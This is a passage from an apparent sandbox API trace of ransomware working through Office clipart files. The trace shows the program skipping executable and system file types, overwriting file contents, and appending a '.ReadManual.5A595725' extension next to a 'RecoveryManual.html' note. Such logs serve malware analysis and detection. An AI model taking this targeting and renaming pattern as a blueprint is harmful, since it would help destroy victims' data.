Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.112] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12900) returned 1 [0266.112] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3264, lpName=0x0) returned 0x184 [0266.112] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.113] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.113] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.115] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.115] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3264) returned 0x2f0000 [0266.115] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.115] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38678406766) returned 1 [0266.115] CloseHandle (hObject=0x184) returned 1 [0266.115] SetSecurityInfo () returned 0x57 [0266.116] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.116] CloseHandle (hObject=0x194) returned 1 [0266.116] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1 [0266.116] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0103402.WMF" | out: lpString1="J0103402.WMF") returned="J0103402.WMF" [0266.116] lstrcmpiW (lpString1="J0103402.WMF", lpString2="RecoveryManual.html") returned -1 [0266.116] StrStrIW (lpFirst="J0103402.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.116] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.116] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.116] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" [0266.116] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.ReadManual.5A595725" [0266.116] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.ReadManual.5A595725") returned 87 [0266.116] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38678506186) returned 1 [0266.116] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 0x20 [0266.117] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.117] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=44948) returned 1 [0266.117] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf94, lpName=0x0) returned 0x184 [0266.117] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.118] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.118] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.120] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.120] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaf94) returned 0x2f0000 [0266.122] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.122] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38679065605) returned 1 [0266.122] CloseHandle (hObject=0x184) returned 1 [0266.122] SetSecurityInfo () returned 0x57 [0266.122] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.122] CloseHandle (hObject=0x194) returned 1 [0266.122] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1 [0266.122] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0103812.WMF" | out: lpString1="J0103812.WMF") returned="J0103812.WMF" [0266.122] lstrcmpiW (lpString1="J0103812.WMF", lpString2="RecoveryManual.html") returned -1 [0266.122] StrStrIW (lpFirst="J0103812.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.122] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.122] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.122] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.122] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.122] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.122] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.123] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.123] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.123] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.123] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.123] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.123] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.123] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.123] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.123] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" [0266.123] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.ReadManual.5A595725" [0266.123] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.ReadManual.5A595725") returned 87 [0266.123] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38679164459) returned 1 [0266.123] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 0x20 [0266.123] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.123] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5908) returned 1 [0266.123] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1714, lpName=0x0) returned 0x184 [0266.124] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.124] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.124] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.126] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.126] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1714) returned 0x2f0000 [0266.126] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.126] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38679526924) returned 1 [0266.127] CloseHandle (hObject=0x184) returned 1 [0266.127] SetSecurityInfo () returned 0x57 [0266.127] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.127] CloseHandle (hObject=0x194) returned 1 [0266.127] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1 [0266.127] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0103850.WMF" | out: lpString1="J0103850.WMF") returned="J0103850.WMF" [0266.127] lstrcmpiW (lpString1="J0103850.WMF", lpString2="RecoveryManual.html") returned -1 [0266.127] StrStrIW (lpFirst="J0103850.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.127] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.127] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.127] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" [0266.127] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.ReadManual.5A595725" [0266.127] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.ReadManual.5A595725") returned 87 [0266.127] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38679649136) returned 1 [0266.128] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 0x20 [0266.128] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.128] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23596) returned 1 [0266.128] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c2c, lpName=0x0) returned 0x184 [0266.128] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.129] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.129] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.131] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.131] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c2c) returned 0x2f0000 [0266.131] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.131] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38680005959) returned 1 [0266.131] CloseHandle (hObject=0x184) returned 1 [0266.131] SetSecurityInfo () returned 0x57 [0266.132] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.132] CloseHandle (hObject=0x194) returned 1 [0266.132] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1 [0266.132] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105230.WMF" | out: lpString1="J0105230.WMF") returned="J0105230.WMF" [0266.132] lstrcmpiW (lpString1="J0105230.WMF", lpString2="RecoveryManual.html") returned -1 [0266.132] StrStrIW (lpFirst="J0105230.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.132] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.132] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.132] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" [0266.132] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.ReadManual.5A595725" [0266.132] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.ReadManual.5A595725") returned 87 [0266.132] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38680102041) returned 1 [0266.132] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 0x20 [0266.132] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.133] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5172) returned 1 [0266.133] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1434, lpName=0x0) returned 0x184 [0266.133] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.133] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.134] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.135] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.135] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1434) returned 0x2f0000 [0266.135] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.135] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38680424720) returned 1 [0266.136] CloseHandle (hObject=0x184) returned 1 [0266.136] SetSecurityInfo () returned 0x57 [0266.136] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.136] CloseHandle (hObject=0x194) returned 1 [0266.136] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1 [0266.136] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105232.WMF" | out: lpString1="J0105232.WMF") returned="J0105232.WMF" [0266.136] lstrcmpiW (lpString1="J0105232.WMF", lpString2="RecoveryManual.html") returned -1 [0266.136] StrStrIW (lpFirst="J0105232.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.136] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.136] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.136] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" [0266.136] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.ReadManual.5A595725" [0266.136] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.ReadManual.5A595725") returned 87 [0266.136] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38680521372) returned 1 [0266.137] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 0x20 [0266.138] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.138] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5632) returned 1 [0266.138] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1600, lpName=0x0) returned 0x184 [0266.138] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.139] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.139] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.182] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.182] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1600) returned 0x2f0000 [0266.182] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.182] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: 